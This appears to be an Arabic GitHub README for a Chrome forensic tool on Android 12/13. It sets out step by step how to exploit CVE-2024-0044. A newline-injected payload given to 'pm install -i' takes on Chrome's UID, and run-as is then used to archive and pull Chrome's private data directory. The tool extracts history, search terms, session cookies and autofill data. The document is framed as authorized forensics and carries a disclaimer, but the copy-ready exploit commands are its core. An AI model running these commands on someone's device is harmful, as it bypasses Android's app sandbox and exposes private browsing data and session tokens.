🔍 Chrome Forensic - CVE-2024-0044

أداة فورينزك رقمي قوية لاستخراج وتحليل آثار جوجل كروم من أجهزة أندرويد

👤 معلومات المؤلف

المؤلف: JackTekno
GitHub: github.com/JackTekno

📋 نظرة عامة

تستخدم هذه الأداة ثغرة CVE-2024-0044 (Run-as) لتجاوز قيود الصلاحيات على أجهزة أندرويد 12/13 غير المجذَّرة، مما يتيح استخراج بيانات جوجل كروم للأغراض الجنائية. تقوم الأداة بتحليل قواعد بيانات SQLite الخام وإنشاء تقارير تحليل شاملة.

🔄 سير العملية

Forensic Analysis Flowchart

سير عمل تحليل جنائي كامل بدءًا من الاستخراج وصولًا إلى إعداد التقارير

📊 الميزات والمخرجات

تقوم الأداة بإنشاء تقرير Excel شامل (result_chrome_forensic.xlsx) يحتوي على الأوراق التالية:

🛠️ المتطلبات الأساسية

متطلبات الأجهزة

📱 هاتف أندرويد (أندرويد 12/13)
💻 حاسوب شخصي (Linux/Windows/Mac)

بيئة الاختبار

🐧 نظام التشغيل: Linux UOS 20 Professional

المتطلبات البرمجية

🐍 Python 3.x
📲 ADB (Android Debug Bridge)
📦 ملف APK وهمي (مثل: F-Droid.apk)

🚀 التثبيت

استنساخ المستودع

git clone https://github.com/JackTekno/Chrome-Forensic_CVE-2024-0044.git
cd Chrome-Forensic_CVE-2024-0044

تثبيت التبعيات
```
pip install -r requirements.txt
```

🔓 دليل استخراج البيانات

الخطوة 1: تجهيز الجهاز

انتقل إلى الإعدادات → حول الهاتف
انقر على رقم الإصدار 7 مرات لتفعيل خيارات المطور
انتقل إلى الإعدادات → النظام → خيارات المطور
فعّل تصحيح أخطاء USB
قم بتوصيل الهاتف بالحاسوب عبر USB وأذِن بالاتصال

الخطوة 2: تجهيز الاستغلال

# Push a dummy APK to temporary folder
adb push F-Droid.apk /data/local/tmp/base.apk

الخطوة 3: العثور على UID الهدف

adb shell pm list packages -U | grep com.android.chrome
# Output example: package:com.android.chrome uid:10129
# Note the UID (e.g., 10129)

الخطوة 4: تنفيذ الاستغلال

⚠️ استبدل 10129 بمعرّف UID الفعلي لكروم من الخطوة 3

adb shell

# Inside ADB Shell:
PAYLOAD="@null
victim 10129 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# Trigger the package manager
pm install -i "$PAYLOAD" /data/local/tmp/base.apk

الخطوة 5: استخراج البيانات

# Still inside ADB Shell
run-as victim tar -cf - /data/data/com.android.chrome/ | cat > /data/local/tmp/chrome.tar

# Exit ADB Shell
exit

الخطوة 6: سحب البيانات إلى الحاسوب

adb pull /data/local/tmp/chrome.tar .

الخطوة 7: فك ضغط البيانات

استخرج ملف chrome.tar في مجلد المشروع. لا تحتاج إلى نقل الملفات يدويًا. سيعثر سكربت بايثون تلقائيًا على ملفات قاعدة البيانات داخل المجلدات المستخرجة.

tar -xf chrome.tar

💻 الاستخدام

شغّل أداة التحليل الجنائي:

python3 chrome_forensic.py

ستقوم الأداة بتحليل ملفات قاعدة البيانات وإنشاء result_chrome_forensic.xlsx في نفس الدليل.

⚖️ إخلاء مسؤولية قانوني

⚠️ هام: تم تصميم هذه الأداة لأغراض التحليل الجنائي التعليمي والمصرح به فقط.

استخدمها فقط على الأجهزة التي تملكها أو لديك إذن كتابي صريح لتحليلها

الوصول غير المصرح به إلى الأجهزة الرقمية قد ينتهك القوانين في منطقتك

لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه الأداة

🤝 المساهمة

المساهمات مرحب بها! لا تتردد في تقديم طلب سحب (Pull Request).

📄 الرخصة

هذا المشروع مرخص بموجب رخصة جنو العمومية العامة الإصدار 3.0. راجع ملف LICENSE للتفاصيل.

👤 الإشادة

تم تلخيص ومشاركة إثبات المفهوم لطريقة الاستخراج بواسطة Tinyhack.com.

صُنع بكل ❤️ بواسطة JackTekno

⭐ امنح هذا المستودع نجمة • 🐛 أبلغ عن خطأ • 💡 اطلب ميزة

📖 سجل التصفح	خط زمني مفصّل للمواقع التي تمت زيارتها
📈 التحليلات – المواقع الأعلى	ترتيب إحصائي لأكثر النطاقات زيارة
⚠️ تنبيهات – مشبوه	عناوين URL يتم وضع علامة عليها تلقائيًا (قرصنة، مخدرات، محتوى للبالغين)
📥 التنزيلات	سجل التنزيلات مع المسارات وأحجام الملفات
🔍 مصطلحات البحث	استعلامات بحث المستخدم من شريط العناوين/جوجل
🍪 الكوكيز والجلسات	رموز الجلسات وبيانات الكوكيز الوصفية (مشفرة Hex)
✍️ بيانات الملء التلقائي	بيانات النماذج المحفوظة (الأسماء، العناوين، إلخ.)

الأكثر شعبية

Chrome-Forensic_CVE-2024-0044